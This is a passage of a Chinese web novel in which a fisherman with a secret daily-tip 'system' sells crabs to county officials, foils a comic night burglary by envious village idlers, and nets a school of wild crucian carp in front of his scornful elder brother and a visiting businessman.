江涛心里有数,和之前在东风饭店称的分量加起来,正好五百多斤,数据没错。 “江涛同志,你这螃蟹真不错,特别大,越大的越值钱。” 高主任仔细检查了螃蟹的活力,很是满意,沉吟一下道:“这样,你稍微吃点亏,两块一斤,怎么样?” 两块一斤? 江涛心里一喜,这可比乡里一块八高多了! 他连忙说:“高主任,这价很公道了,不亏不亏!” 铁牛和赵老头在旁边听了,更是高兴坏了。 两块一斤? 这可比东风饭店卖的还要贵! 这都叫吃亏? 那他们情愿天天吃这种“亏”! 三百八十六斤,两块一斤,总共是七百七十二块。 高主任很是爽快,直接点了七百八十块递给江涛。 “凑个整,七百八,江涛同志你拿着。” 江涛正要道谢接钱,就听一个熟悉的声音从旁边传来。 “哎呀,江涛同志,我可算等到你了!” 只见招待所刘主任快步走了过来,脸上笑得像朵花。 自从前几天江涛来卖鲢鳙,他就惦记上了,时不时路过高主任这边看看,万一又遇上江涛同志了呢? 可一连几天都扑了空。 这次来也没抱太大希望,也就是例行公事看看高主任平常采买了什么食材。 没想到这次却让他给撞上了! 高主任一看刘主任,脸色就微微沉了下来。 他能不知道刘主任打的什么主意? 上次好心让他一起买鲢鳙,他竟然想独吞,太不地道了。 这种人可不能惯着! 是以,刘主任这几天过来,他都没给什么好脸色。 今天江涛同志来送螃蟹,他是一只也不打算分出去的。 “江涛同志,你这可就不够意思了,有好货怎么不直接送到我们招待所去?我们那用量也大啊!” 刘主任半真半假地嗔怪道。 江涛有些尴尬,“刘主任,我这……车开到这儿了,而且,您那边我也不太熟路……” “不熟路?我告诉你啊,就在那儿那儿那儿……” 刘主任立刻热情地指起路来,恨不得现在就把江涛拉到招待所去。 高主任在一旁看得好笑,不冷不热地插了一句。 “老刘,人家江涛同志是来找我的,货都已经过完秤,结完账了。你这马后炮放得有点晚啊。” 刘主任被噎了一下,但脸皮厚,也不在意,依旧对江涛热情不减。 “江涛同志,下次,下次一定记得先送到我们招待所!我们那接待任务重,就缺这样的硬货!你放心,价钱绝对不比老高这儿低!” 江涛只能笑着打哈哈,“行,行,下次一定,一定。” 刘主任眼珠一转,“这样,江涛同志,你留个电话给我。以后有好货,我直接给你打电话,派人去取,也省得你来回跑。怎么样?” “电话?” 江涛苦笑,“刘主任,我家里哪有电话啊。我们村也就村公所有一部。” “哦,对,瞧我这记性。” 刘主任一拍脑门,农村装电话的确实凤毛麟角。 不过,他这话倒是提醒了江涛。 是啊,以后生意做大了,联系不方便可不行。 等新房建好了,手里钱也宽裕了,说什么也得在家里装一部电话。 “江涛同志,这是我们招待所的电话,你要有了好货就给我们打。”刘主任递过来一张纸条。 高主任也不甘落后,“江涛同志,这是我们的电话,有什么好货给我们打。” 面对两人如此热情,甚至带着点巴结的意味,铁牛倒是见怪不怪了。 他这几天跟着江涛,早就见识了江涛的神通,觉得涛子认识什么人都正常。 可赵老头看在眼里,心里却又掀起了波澜。 原以为江涛只是运气好,加上有点小聪明,所以才能跟乡里东风饭店搭上关系。 可现在一看,这小子的人脉和门路,竟然都铺到了县里! 瞧瞧高主任那亲热劲,再看看刘主任那生怕捞不着的样子,这哪是普通卖鱼能有的待遇? 当然,赵老头也清楚,这里面肯定有颜卫国的功劳。 可老领导牵线搭桥是一回事,能让这些眼高于顶的机关单位负责人这么上心,甚至主动争抢,那就完全是江涛自己的本事了。 货好,为人处世也得体,人家才愿意长期打交道。 赵老头越想越觉得心惊,同时也涌起一股强烈的后悔。 他家老婆子早就看出了门道,天天念叨让他跟着江涛学学,跟江涛搞好关系。 可他呢? 一直抱着自己“老打渔的”那点可怜的经验和面子,总觉得江涛是瞎猫碰上死耗子,是新手运气。 甚至,早上还因为去哪打渔跟江涛争执,赌气去了老龙口,结果空手而归,差点被老婆子骂死。 再看看人家江涛,不管去哪,都能捞到别人捞不到的好货。 而且,总能找到最合适的买家,卖出最好的价钱。 这才是真本事啊! 自己打了一辈子鱼,除了把腰累弯了,皮肤晒黑了,还剩下什么? 跟江涛这几天的收获比起来,简直是小巫见大巫。 想想他错过多少挣钱的机会,错过多少让家里过上好日子的可能? 唉! 赵老头心里重重叹了口气。 眼神复杂地看着江涛跟两位主任谈笑风生,既有佩服,也有羡慕,更多的是一种后知后觉的懊恼。 不过,现在醒悟,应该还不算太晚吧? 以后,说什么也得跟着涛子好好干了! 第58章 干他一票? 回去的路上,江涛找了一家加油站。 给卡车加油的空隙,他掏出十块钱,先递给了铁牛。 “铁牛,今天辛苦了,拿着。” 铁牛一看,连忙摆手,“涛子,这我不能要!今天又没出啥大力,还吃了你的螃蟹,哪能再要钱?” “给你就拿着!” 江涛不由分说,把钱塞进他手里,“出力不出力,你都在那儿,这就是辛苦费。跟我还客气?” 铁牛推辞不过,只好憨憨收下,心里暖烘烘的,却又觉得有些过意不去。 给铁牛十块钱,江涛很痛快。 但轮到赵老头,他有些拿不准了。 不知这十块钱赵老头会不会嫌少。 但要是给多了,又担心铁牛看着不舒服。 患寡不患均啊! “赵叔,这十块您别嫌少,是您今天帮忙的辛苦费。” 江涛硬着头皮,掏出另一张十块钱递过去。 赵老头一看,胡子立刻翘了起来,“涛子,你赵叔我是那种见钱眼开的人吗?” 他一把推开江涛的手,气鼓鼓道,“这螃蟹我也就跟着帮了点小忙,搬了几袋,哪能要十块钱?你是不是看不上你赵叔跟着你,觉得我老胳膊老腿不中用了,拿这十块钱打发我?” 铁牛在旁边一听,心里“咯噔”一下。 完了,这十块钱他不该收啊! 赵叔都不要,他哪能要? 他连忙把刚揣进口袋的十块钱又掏出来,要塞还给江涛。 “涛子,这钱我也不要了,你快收回去!” 江涛也傻眼了。 他这次螃蟹卖了一千多块钱,给铁牛和赵老头每人十块钱,相当于每人给了差不多一个点的提成。 这种分红或辛苦费,在当下是多是少,他心里也没个准数。 要不是接下来要买船、建新房,处处要用大钱,他自然不介意多分给他们一些。 没想到,他们不但不嫌少,反而都不要了,赵叔还生了气! “加油三十二块五!” 加油站的工人过来报数,打断了这尴尬的场面。 铁牛正要把那十块钱递过去付油钱,可惜不够。 江涛赶紧掏出钱付了油费,然后苦笑着对赵老头和铁牛说道:“赵叔,铁牛,你们这是干什么?这钱是我一点心意,没有看不起谁的意思。你们跟着我忙活一天,总不能白干吧?” “什么白干不白干?” 赵老头瞪着眼,“我是看你小子有本事,想跟着你也能多捞点鱼,让家里日子好过点。谁图你这十块钱了?你要是觉得我老赵头还能用,以后有事叫我一声就行,提钱就外道了!” 铁牛也连忙点头,“对,涛子,我也是这意思。以后你干啥,带上我就行,我不要钱!” 江涛看着这一老一少真诚而执拗的脸,心里又是感动,又是无奈。 他知道,他们说的是真心话。 这年头,很多人情和合作,确实不是用钱就能简单衡量的。 尤其这种带有师徒或领路性质的跟随。 “行,赵叔,铁牛,我明白了。” 江涛深吸一口气,也不再勉强,将铁牛递回来的十块钱和自己掏出的那张都收了起来。 赵老头不要这十块钱,是想长期跟着自己干。 这老头精明着呢。 他图的不是这十块钱的小利,而是想搭上自己这条船,图的是长久的好处和稳定的进项。 今天这十块钱拿了,反而显得生分,也显得他赵老头格局小了。 但铁牛不一样,他家里条件差。 铁牛娘身体一直不太好,家里就靠他编席子打零工勉强维持。 这十块钱对铁牛家来说,可能就是等着吃喝的油盐钱。 否则,天天跟在他后面白干,到时连三粮五钱都掏不出来。 那他江涛成什么人了? 以后谁还愿意死心塌地跟着他干? 今天这钱必须给他,不过等私下里给也行。 “钱我先收着。以后咱们一起干,有钱一起挣,有饭一起吃!这总行了吧?” “这还差不多!” 赵老头脸色这才缓和下来,拍了拍江涛的肩膀,“这才像句人话!以后你指东,我绝不住西!” 铁牛也憨厚地笑了,用力点头。 一场小小的分钱风波就这样平息了。 但江涛知道,这份人情,他记下了。 以后有了稳定收益,一定要建立合理的分配机制,绝不能亏待了这两个真心实意跟着自己的人。 此时,已经下午五点多了。 本来,江涛打算将卡车开回东风饭店还了,再和铁牛、赵老头推着空板车回家。 但现在天色将晚,再推着板车慢悠悠走回去,天都黑透了。 反正蒋管事说了,明早再还也没事,索性就将卡车开回了村。 卡车“突突”地开进滨江村,引来不少村民的侧目。 这年头,村里难得见到卡车。 经过小卖部门口时,几个闲汉正叼着烟,蹲在路边闲聊,吹嘘着今天又去哪儿晃荡了。 冷不丁看见卡车上坐着的三个人,几人都傻眼了。 “我操,那是……江涛?”一个闲汉揉了揉眼睛,不敢置信。 “是他!旁边是铁牛和赵老头!他妈的,铁牛和赵老头也跟着坐车?” 王癞头也看清楚了,心里像打翻了醋坛子,又酸又涩。 “这才几天功夫,这小子连卡车都开上了?” 另一个闲汉张大了嘴,烟掉在地上都忘了捡。 卡车从他们面前缓缓驶过,让几个闲汉心里像被猫抓了一样难受。 尤其是王癞头,昨天刚在江涛和那两个伙计手里吃了亏,今天又让老赵头用渔网抽了脸。 这会儿看见江涛人模狗样地开着卡车,旁边跟着忠心耿耿的铁牛和见风使舵的赵老头,更是气得牙根痒痒。 “呸!什么玩意儿!不就是走了狗屎运,捞了点鱼吗?还真把自己当个人物了!” 王癞头啐了一口,恨恨地骂道。 老邹正坐在小卖部门口纳凉,听见王癞头这话,嗤笑一声,慢悠悠地开口。 “有些人啊,自己没本事,就见不得别人好。人家涛子是凭本事吃饭,你眼红也没用。有这闲工夫嚼舌根,不如也去江边捞两条鱼试试?” “老邹,你他妈说什么风凉话!” 王癞头被戳到痛处,勃然大怒,跳起来就想冲过去。 “怎么,想动手?我喊一嗓子,你看村里人帮谁?” 老邹不慌不忙,拿起旁边的苍蝇拍在桌子上敲了敲。 王癞头被几个同伴拉住。 他知道在村里跟开小卖部的老邹明着闹没好处,只能恶狠狠地瞪了老邹一眼,又眼神阴鸷地盯着卡车远去的方向。 “行,老邹,你等着!还有江涛,你也给老子等着!此仇不报非君子!” 几个闲汉悻悻地离开了小卖部,心里那股邪火却越烧越旺。 这几天吃了瘪,又看见江涛这么风光,这口气不出,他们晚上觉都睡不着。 几人凑在一起,嘀嘀咕咕商量起来。 “妈的,江涛这小子太他妈气人了!还有那个老邹,也跟着挤兑咱们!” “要不,干他一票?”一个闲汉压低声音,眼里闪着贼光。 “干谁?江涛家现在人多,铁牛和赵老头好像也跟他穿一条裤子了,不好下手。老邹那小卖部……”另一个闲汉舔了舔嘴唇。 “就老邹!他那小卖部里烟酒糖茶,还有钱!咱们晚上摸进去,能拿多少拿多少!” 王癞头恶狠狠道,“得手了,再去江涛家看看,他家肯定有钱!能摸点好东西是点,摸不到也得给他添点堵,把他家那新橱柜撬了,或者把他自行车胎扎了!” “对!就这么干!让他们知道知道,咱们也不是好惹的!” 几人越说越兴奋,仿佛已经看到老邹哭丧的脸和江涛气急败坏的样子。 他们约定好半夜动手,先摸小卖部,再去江涛家,一定要出了今天这口恶气! 第59章 碰碰运气! 夜色渐深,月黑风高,正是偷鸡摸狗的好时机。 王癞头带着几个闲汉,借着夜色掩护,鬼鬼祟祟地摸到了村口小卖部后面。 老邹的小卖部是自家住房隔出来的,后面连着个小院,围墙足有一人高。 “就这儿,我踩过点,老邹晚上睡得死,打雷都听不见。” 王癞头信心满满。 他让一个同伙在下面当人梯,自己踩着他肩膀,颤巍巍地去扒那滑不溜秋的土院墙。 “哎哟,你踩稳点!” 下面的人被踩得龇牙咧嘴。 “别吵!” 王癞头好不容易扒住墙头,正要用力翻过去,忽然脚下一滑,“噗通”一声,整个人重重摔了下来,一屁股坐在了下面同伙的身上。 “哎哟我的腰!” “我的妈呀!” 两人滚作一团,痛呼出声,在寂静的夜里格外清晰。 “谁?谁在外面?” 屋里立刻传来老邹警觉的喝问,还有拉灯绳的声音。 “快跑!” 王癞头也顾不上疼了,连滚爬爬地拉起同伙。 几人狼狈不堪地逃离了小卖部,躲进了旁边的柴火垛后面,大气不敢出。 屋里灯亮了,老邹拿着根扁担出来。 在院子里转了一圈,没发现人,骂骂咧咧地回了屋。 “哪个缺德带冒烟的,大晚上不睡觉出来漂流尸,摔死活该!” 听着老邹的骂声渐息,王癞头几人才松了口气。 但出师不利,心里更憋屈了。 “妈的,差点被发现!都怪你,笨手笨脚的!”王癞头埋怨当人梯的同伙。 “你还怪我?是你自己没扒住!” “行了行了,别吵了!” 另一个闲汉打圆场,“小卖部看来不好弄,老邹醒了。咱们去江涛家!他最近买这个买那个的,家里肯定有钱!嘿嘿!” “对!去江涛家!” 王癞头也重新燃起斗志。 江涛家是土屋,而且今天折腾一天,肯定睡得沉。 三人又悄悄摸到江涛家附近。 江涛家已经熄了灯,一片漆黑,只有月光洒在院子里,静悄悄的。 院墙是土坯垒的,不高,也就半人多高,但比小卖部的墙要结实些。 平常院门都不怎么关,这次竟还从里面闩上了! 肯定是有钱才这么小心! 几个闲汉莫名兴奋。 “看到没,肯定都睡死了。” 王癞头得意地小声道,“我翻墙进去开门,你们在外面接应。” 他这次学乖了,溜达到院墙一处看起来稍微平整的地方,往手心吐了口唾沫,摩拳擦掌,然后往后退了几步,一个助跑,猛地向上一跳! “嘿!” 他双手扒住了墙头,心中一喜,正要用力,忽然觉得手上一凉,好像摸到了什么湿漉漉滑溜溜的东西。 “什么玩意儿?” 他下意识地低头凑近一看。 月光下,只见他双手扒着的地方,墙头内侧,赫然趴着好几只巴掌大的青壳螃蟹! 正是江涛家水缸里养着,晚上怕跑了,临时用破渔网盖在缸口,有几只特别活跃的不知怎么爬了出来,顺着墙根溜达到了墙头上乘凉! 此刻,这几只大螃蟹被王癞头惊扰,立刻挥舞起大钳子,其中一只正好夹住了王癞头扒在墙沿的大拇指! “啊——!” 王癞头发出一声凄厉的惨叫,剧痛之下手一松,整个人又从墙上摔了下来,这次是脸朝下,结结实实摔了个狗啃泥。 “哎哟!我的手!螃蟹!有螃蟹!” 他抱着被夹出血印的大拇指,在地上疼得直打滚。 墙头上的螃蟹被这动静彻底惊动,“咔哒咔哒”一阵乱响,好几只掉了下来,正好落在外面接应的几个闲汉头上身上。 “什么东西?” “哎哟!夹我耳朵!” “妈呀!是螃蟹!会夹人!” 两个闲汉也被从天而降的暗器吓得魂飞魄散,手忙脚乱地拍打着头顶身上,也被夹了好几下,疼得嗷嗷直叫。 “谁?谁在外面?!” 屋里立刻传来江涛的厉喝,紧接着灯亮了,脚步声响起。 “快跑!快跑啊!” 王癞头也顾不得手疼了,连滚爬爬地爬起来,跟几个同伙像丧家之犬一样,没命地往黑暗里逃窜,身上还挂着几只挥舞着钳子的螃蟹。 江涛拿着菜刀冲出来,只看到几个仓皇逃窜的背影,和地上几只茫然爬动的大螃蟹,还有墙根下明显的踩踏痕迹。 哼,没想到他才刚露了点富,就被贼惦记上了。 看来得尽快建新房了,到时把院墙垒高垒结实,再养条大狼狗,看还有哪个不长眼的敢来打主意! 他弯腰,轻松地捡起那几只螃蟹,扔回了院子角落的水缸里。 “江涛,是谁啊?” 林月柔也披着衣服出来了,脸上带着担忧。 “没什么,估计是野猫野狗,惊动了咱家的螃蟹。睡吧。” 江涛不想让她担心,轻描淡写地说道。 这一夜,王癞头几人是彻底睡不着了。 一个个手上耳朵上挂着血印子,又疼又后怕,心里把江涛骂了千万遍,却也再不敢打他家主意了。 这江涛,不光自己厉害,连他家的螃蟹都成精了,会看家护院! 惹不起,真是惹不起! 不过,几人惊慌逃窜时,身上挂着的那几只大螃蟹倒是没丢,个个长得肥壮。 他们找了个僻静地方,生了堆火煮了,吃得满嘴流油,真香啊! 这也算是今晚不幸中的万幸。 好歹没白忙活一场,还混了顿螃蟹宵夜。 几个闲汉过了嘴瘾,啃着香喷喷的螃蟹腿,心思又活泛起来。 “妈的,这偷也偷不成,打也打不过,这口气就这么咽了?”一个闲汉抹了抹嘴上的油,不甘心道。 “不咽了还能咋地?江涛家那螃蟹阵,你还没尝够?”另一个闲汉没好气地揉了揉还在疼的耳朵。 “偷不成,打不过,咱们可以学啊!” 第三个闲汉眼珠子一转,“江涛那小子能靠捞鱼发财,凭什么咱们就不能?咱们也是在水边长大的!” “捞鱼?你说得轻巧!” 王癞头正为刚才的惨败窝火,一听这话,没好气地一巴掌拍在他后脑勺上。 “你知道鱼在哪吗?知道什么时间用什么网吗?捞鱼是那么好捞的?老子以前又不是没下过水,捞上来的净是些手指长的小杂鱼,喂猫都嫌小!” 那个挨了揍的闲汉缩了缩脖子,心里不爽,但也不敢顶嘴,只是小声嘟囔:“那……那江涛不也是这几天才转运的嘛。我听村里人说,他这几天老往老拗口那边跑,捞着不少好货。那个赵老头,前天早上不也跟着去了吗?听说也捞着什么好货了!” 这话倒是提醒了王癞头。 他想起江涛开着卡车,赵老头和铁牛坐在旁边的得意样,心里那点不平衡又起来了。 是啊,江涛能捞着,赵老头也能捞着,凭什么他们就不行? 说不定,那老拗口真有什么门道,是江涛发现的鱼窝子? “老拗口?” 王癞头眼神闪烁地摸着下巴。 那地方他听说,水急浪大,还邪乎,平时没什么人去。 难道真藏了好东西? 如果是那样,没道理只便宜了江涛啊! “对,就是老拗口!” 其他两个闲汉也来了劲,“咱们明天也去!带上家伙,说不定也能捞着点稀罕货!就算捞不着江涛那么多,捞点寻常的鲢鳙鲤鱼也行啊,卖了钱,咱们也能下馆子!” “行!” 王癞头被说得动了心,一拍大腿,“就这么定了!明天一早,老拗口集合!都带上撒网抄网,咱们也去碰碰运气!” 哼,宋二那个抠搜鬼,嘴上说得天花乱坠,要给他们钱。 结果呢? 上次他们巴巴地给他报信,他倒好,就给两包最便宜的烟打发了! 这两天更是连鬼影子都见不着! 指望他? 黄花菜都凉了! 哎呀,有句话说得好。 自己动手,丰衣足食! 他江涛能捞着,他们也一定能捞着! “行了,都别在这儿吹牛了,赶紧回去睡觉!养足精神,明天谁也别掉链子!” “放心吧,癞头哥!” 几人商量妥当,将螃蟹壳扔进火堆,这才各自散去。 准备明天一早去老拗口发财。 第60章 野生鲫鱼群 次日清晨,江涛在熟悉的提示音中醒来。 【每日情报:今日午时,江边渡口聚集大量野生鲫鱼群,可用撒网围捕。】 野生鲫鱼群? 江涛精神一振。 这年头,野生鲫鱼是好东西,价钱比鲢鳙高,尤其适合做汤,很受欢迎。 他起身看了看窗外,天色微亮。 今天这活儿,听起来像是捡漏,但正因如此,可能需要足够的人手和趁手工具,才能在鱼群被冲散前,尽可能多地捞上来。 他洗漱完,走到灶间。 林月柔已经熬好了粥,又在准备发面饼。 见他起来,柔声道:“饿了吧?马上就好。” “嗯,月柔,早上我要去乡里把车还了,中午要去江边渡口那捞鱼。估计得忙活一阵,你多准备点干粮,我带上。” “好,我这就弄。” 林月柔应下,立刻又忙活起来。 一家人刚坐下吃早饭,铁牛和赵老头就一前一后来了。 铁牛依旧那副憨厚勤快的样子,一来就帮着整理渔具。 赵老头则有些急切,昨晚他辗转反侧,越想越觉得必须紧跟江涛,一大早就跑来了。 “涛子,今天有啥安排?带上赵叔,我力气还行,眼力也不差,肯定不给你添乱!” 赵老头拍着胸脯保证,眼神里带着期待。 江涛看着他们,心里琢磨着今天的情报正需要人手,这两人来得正好。 “行,赵叔,铁牛,今天还真需要你们帮忙。咱们去江边渡口,那边中午估计会有鱼。” “渡口?” 赵老头眼神有些疑惑,“那地方水缓草多,平时是有些小鱼小虾,但要说能有像样的大收获却不大可能?涛子,你这消息从哪听来的?准不准?” 他下意识用上了以前的思维。 “准不准,去看看就知道了。” 江涛笑了笑,没多解释,“不过得等中午再去。上午我得去乡里把卡车还给东风饭店,蒋管事还等着呢。” “趁这功夫,你们好好准备一下围捕的渔具。铁牛,你检查一下咱们的撒网、抄网,有破的赶紧补补。” “赵叔,你家撒网、抄网,只要能用得上的都带上。昨天捞螃蟹就吃了家伙不够的亏,今天咱们得准备充分点,别到时候手忙脚乱。” “有有有!我这就回去收拾!保证把能用的都带上!” 赵老头一听要用到他的渔网,来劲了,这表示江涛把他当自己人用了。 “爸爸,我也要去!”江招娣立刻举手。 “还有我!”江盼娣也不甘落后。 江涛想了想,今天这活儿相对安全,带上两个大点的丫头帮忙递东西看桶也行。 昨天要不是招娣,谁回去拿麻袋啊。 “行吧,招娣,盼娣,你们也去,帮着照看东西。但一定听指挥,不准乱跑,不准下水,知道吗?” “知道!” 两个丫头异口同声,小脸上满是兴奋。 吃完早饭,江涛将自行车搬上了卡车车厢。 这样等会儿还了车,他就可以骑自行车回来了。 至于,那辆借来的旧板车,他想了想,对赵老头说道:“赵叔,您去把借板车的老张叫来,让他也跟着去乡里,等会儿还了卡车,让他把板车推回来。我给他五块钱辛苦费。” 赵老头一听,这安排挺好,还能还个人情,立刻小跑着去喊老张了。 老张正在家编筐,听赵老头说,江涛请他帮忙去乡里推板车,还给五块钱辛苦费,高兴得差点把筐扔了。 五块钱! 这可不是小数目,抵得上他编好几个筐了! 二话不说,老张放下手里的活就跟赵老头来了。 到了江涛家门口,看见那辆蓝色小卡车,他眼睛都直了,心里又兴奋又忐忑。 这辈子他还没坐过汽车呢! 等江涛招呼他上车,他手脚都不知道该往哪儿放了,在赵老头的帮助下才爬上副驾驶座。 卡车发动,朝着乡里驶去。 老张坐在车里,感受着屁股下从未有过的颠簸和速度,看着窗外的景物飞速倒退,紧张得手心都冒汗了。 等到了东风饭店,看着那气派的大门和进进出出的人,他更是连大气都不敢出。 觉得自己跟这儿格格不入。 不过,有江涛在旁,无形中又给了他不少底气。 今天也是长了见识,出了风头。 坐汽车、来东风饭店,都是他这辈子头一遭,够他回去跟人吹嘘好一阵子了! 江涛进去还了钥匙,跟蒋管事和顾师傅打了招呼,每人特意给了五块钱,感谢借车,也感谢平时的关照。 出来时,老张已经拿到了自己那辆板车,正等着呢。 江涛从口袋里掏出五块钱递给老张,“张叔,辛苦您了,板车麻烦您推回去。” “哎,哎,不辛苦,不辛苦!” 老张接过五张崭新的一块钱,激动得手都有点抖,连声道谢,推着空板车,脚下生风地往村里走了,心里那叫一个美。 江涛则骑上自行车,飞快地往村里赶。 回到村,时间已经将近上午九点。 天色还早,他招呼林月柔简单弄了点早中饭吃了。 然后,将一应渔具放到车后座捆好,招呼上铁牛、赵老头,还有江招娣、江盼娣,准备出发。 “爸爸,这次要不要将地笼也带上?” 江招娣想起之前用地笼抓到不少鱼虾,那味道可好了。 “行啊,没问题。” 江涛点头,多一样工具多一分把握。 就算搞不到鲫鱼,扔到浅水里,弄点小鱼小虾回去加菜也行啊。 一行五人,带着各种渔网、抄网、地笼和水桶等渔具,浩浩荡荡地直奔江边渡口而去。 路上,赵老头忍不住又问:“涛子,渡口那地方,你真觉得有戏?我在这江边几十年了,那地方水浅泥多,也就是些小杂鱼偶尔聚一聚……” “赵叔,有没有戏,去看看就知道了。我总有种感觉,今天那儿能有点东西。” 江涛依旧用感觉含糊过去。 他总不能说我有外挂提示吧。 赵老头见他这么笃定,心里还是打鼓,但想起这几天的经历,尤其昨天螃蟹的事,话到嘴边又咽了回去。 行吧,感觉就感觉吧,涛子的感觉好像还挺准。 他现在是打定主意,少质疑,多干活,跟着走就对了。 一行人很快来到了江边渡口。 这里原本是滨江村过江的主要码头。 几年前,通往江北建了座新桥,这渡口就渐渐冷清下来,但基础还在。 有时候村民要去江南办事或走亲戚,不想绕远路,还是会在此搭乘渡船。 因此,渡船还在运行,只是班次少了。 此处水流相对平缓,但水色却有些浑浊。 将近午时,阳光正好,水面波光粼粼,看着倒是有几分宁静。 “就这儿了。” 江涛停下车,仔细观察着水情。 情报提示是午时,也就是中午11点到1点之间。 他看了看手表,快十一点了。 “铁牛,赵叔,咱们先把撒网准备好。招娣,盼娣,你们把水桶放好,在旁边等着,别靠近水边。” “哎!” 几人立刻行动起来。 铁牛和赵老头熟练检查着撒网,江涛则走到水边,仔细观察着水面和水流的细微变化,寻找着可能的下网点。 他心里也有些好奇,这看似平常的渡口浅滩,真能有大群的野生鲫鱼? 第61章 闹笑话 江涛正凝神观察水面,远处突然传来一阵说话声。 只见江海夫妇陪着两个人走了过来。 一个是穿着讲究,提着公文包的中年男人,另一个司机模样的小伙子。 “哎哟,我当是谁呢,原来是老三啊!” 大嫂刘翠花眼尖,一眼就看见了江涛,声音立刻拔高了几度,带着一股说不出的优越感。 “我说这大中午的,你们不在家歇着,跑这渡口干站着干嘛?该不会是来捞鱼吧?这浑水能有啥捞头?” 江海皱着眉头,脸色不太好看。 今天这位江南来的赵老板考察他们草编厂,厂里让他作陪,想争取点投资,给草编厂谋条新出路。 考察完,厂里让他送赵老板去江对岸的县城。 这不,汽车提前开到渡口等船,也是想在赵老板面前展示一下本地江边丰富的芦苇资源,以便增加赵老板投资的可能性。 没想到竟撞见自家不争气的弟弟,带着铁牛和赵老头在这渡口捞鱼,看着就让人来气。 这不是在贵客面前丢他的脸吗? “涛子,这渡口能有什么鱼?别在这儿瞎耽误功夫,赶紧回家去!没看见有客人吗?” 江海沉着脸训斥。 “大哥,我们在这儿做什么,是我们自己的事,又没碍着你们。” 江涛语气平淡,目光依旧专注地搜寻着水面。 铁牛和赵老头则继续检查渔网。 “没碍事?这水浑得跟泥汤似的,能捞到鱼才怪了!也不怕在客人面前闹笑话!” 刘翠花撇撇嘴,转向旁边的赵老板,赔着笑,“赵老板,让您见笑了,这是我那不懂事的弟弟,整天不务正业,就知道在江边瞎转悠。让您看笑话了……” 江涛一听,差点没气笑。 神经病啊,这渡口是你家私人场所? 你陪你的客人,我捞我的鱼。 真他妈无语。 哼,要再敢多放一句屁,他不介意让他们真的丢脸。 不过,那赵老板倒没立刻接话,目光在江涛身上扫过,又看了看铁牛和赵老头手里的渔网,最后落在了站在不远处,好奇地往这边张望的江招娣和江盼娣身上。 两个小丫头穿着打补丁的旧衣裳,但小脸洗净了,头发也梳得整整齐齐,大眼睛忽闪忽闪的,透着股机灵劲儿。 看着比他在江南乡下见到的黄瘦丫头,还要精神水灵。 赵老板心里微微诧异。 传闻江北一向很穷,个个家里穷得叮当响,丫头片子能养成这样? “这两个小姑娘是……” 赵老板指了指江招娣和江盼娣。 “哦,这是我三弟家的两个丫头,招娣和盼娣。” 江海连忙介绍,语气有些勉强,“乡下丫头,没见过世面。招娣,盼娣,还不快叫赵伯伯!” “赵伯伯好。” 江招娣礼貌地叫了一声。 江盼娣也学着姐姐的样子,小声问好。 “哎,好,好。” 赵老板点点头,脸上露出和善笑容。 看来这江北地方,也不是家家都像传言中那么凋敝,至少这家孩子看着就挺精神。 刘翠花见赵老板的注意力被两个丫头片子吸引了,心里更不舒服。 凭什么啊? 自家宝贝孙子都没让赵老板多看两眼,这两个赔钱货倒入了眼? 不过,还别说。 多久不见,江涛家这两个丫头片子,气色和模样倒比以前好了不少,没那么面黄肌瘦了。 “赵老板,这渡口风大,灰也大。船还没来,咱们先到那边树荫下歇会儿……” 江海想赶紧把贵客引开,免得继续丢脸。 就在这时,一直盯着水面的江涛眼神一凝。 不远处,靠近水草边缘的水面,泛起了一小片不寻常的密集涟漪,隐约有银光一闪而过。 是鱼群! 情报提示的鲫鱼群出现了! “铁牛,赵叔,快!就那儿,下网!” 江涛低喝一声,不再理会旁人,率先拎起撒网,朝着那片水域奋力抛了出去! 铁牛和赵老头也立刻跟上。 三张撒网几乎同时出手,呈合围之势罩向那片水面。 “哗啦!” “哗啦!” 渔网入水,迅速沉下。 江涛三人默契地开始收网。 网绳绷紧,水下传来明显的挣扎力道! “有货!” 铁牛兴奋地喊了一声。 江海和刘翠花,连同赵老板和司机都愣住了。 几人不由停下脚步,目光被这突如其来的现场捕捞吸引。 只见江涛、铁牛、赵老头三人,奋力将沉甸甸的渔网拖出水面。 网离开水面的刹那,银光闪耀,水花四溅! 网里密密麻麻,全是巴掌大小,鳞片银亮的野生鲫鱼! 它们活蹦乱跳,在网里挤成一团,在阳光下闪着诱人的光泽。 这一网,少说也有三四十斤! 三网加起来,差不多就是一百斤! “我的天!” 赵老头自己也惊呆了。 他虽然跟着来了,可心里一直没底,没想到真的一网就捞上来这么多! 江招娣和江盼娣也欢呼起来,“好多鱼!爸爸好厉害!” 江海和刘翠花脸上表情瞬间僵住,像是被人狠狠抽了一耳光。 刚才他们还信誓旦旦说这里没鱼,嘲讽江涛瞎忙活,转眼人家一网就捞上来几十斤鲜活的野生鲫鱼! 这打脸来得太快,太响! 赵老板眼睛一亮,饶有兴致地看着那满网的鲫鱼,又看了看江涛。 这年轻人动作麻利,眼神专注,下网精准。 这捞鱼的本事,可不像是瞎混能练出来的。 江涛三人顾不上理会旁人目光,迅速将网里的鲫鱼倒进岸边的大水桶里。 鱼儿入桶,噼里啪啦一阵乱响。 这次水桶带了八个,江涛家四个,铁牛家一个,还有赵老头家三个。 每个桶能装五六十斤鱼。 “还有!鱼群没散!” 江涛目光锐利,指着不远处另一片水色微深的水域,“铁牛,赵叔,那边!再下一网!” “好!” 铁牛和赵老头此刻信心十足,立刻重新整理好撒网,跟着江涛的指引,再次将网撒了出去。 “哗啦!” 又是一网沉甸甸的收获被拖上岸,依旧是满网活蹦乱跳的银亮鲫鱼! “我的乖乖……这渡口什么时候藏了这么多鱼?” 赵老头一边收网,一边喃喃自语,脸上是掩饰不住的兴奋和难以置信。 他在这江边打了一辈子鱼,竟不知这看似不起眼的渡口浅滩,能藏着如此规模的鲫鱼群! 江招娣和江盼娣也顾不上看赵伯伯了,兴奋地帮着将鱼捡进桶里,小脸上洋溢着自豪的光芒。 赵老板在一旁看得津津有味,甚至往前走了几步,以便看得更清楚。 走南闯北,他也见过不少捕鱼场面,但这种精准找到鱼群,一网接一网丰收的景象,还是很少见的。 尤其,领头的那个年轻人,那份沉稳、果决和对时机的把握,让他印象深刻。 “江主任,你这位弟弟,看来是位捕鱼的好手啊。” 赵老板笑着对江海说,语气里带着欣赏。 江海脸上青红交加,嘴唇动了动,却一个字也说不出来。 刚才他说这里没鱼,让江涛赶紧回家别丢人,现在人家当着他的面,一网接一网地捞上来几十上百斤鲜鱼,这简直是把他这个当大哥的脸踩在地上反复摩擦! 